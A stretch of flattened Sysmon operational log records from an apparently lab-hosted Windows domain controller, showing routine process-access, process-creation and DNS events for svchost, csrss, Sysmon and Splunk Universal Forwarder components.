09:11:53.351{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005531Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2959-5F80-3701-000000007F01}3288C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005530Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.351{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2959-5F80-3701-000000007F01}3288C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005529Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:53.352{A5F018FF-2959-5F80-3701-000000007F01}3288C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000005570Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.835{A5F018FF-295A-5F80-3901-000000007F01}24562232C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e675|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+55e1a6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+6b453|C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe+8e8530|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005569Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295A-5F80-3901-000000007F01}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005568Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005567Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005566Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005565Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005564Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005563Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005562Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005561Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-28BC-5F80-0500-000000007F01}6442392C:\Windows\system32\csrss.exe{A5F018FF-295A-5F80-3901-000000007F01}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000005558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-295A-5F80-3901-000000007F01}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000005557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.695{A5F018FF-295A-5F80-3901-000000007F01}2456C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000005556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:52.118{A5F018FF-2956-5F80-3301-000000007F01}3068win-dc-1796611.attackrange.local010.0.1.14;C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exe 10341000x80000000000000005555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-295A-5F80-3801-000000007F01}1160C:\Program Files\SplunkUniversalForwarder\bin\splunk-perfmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:11:54.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 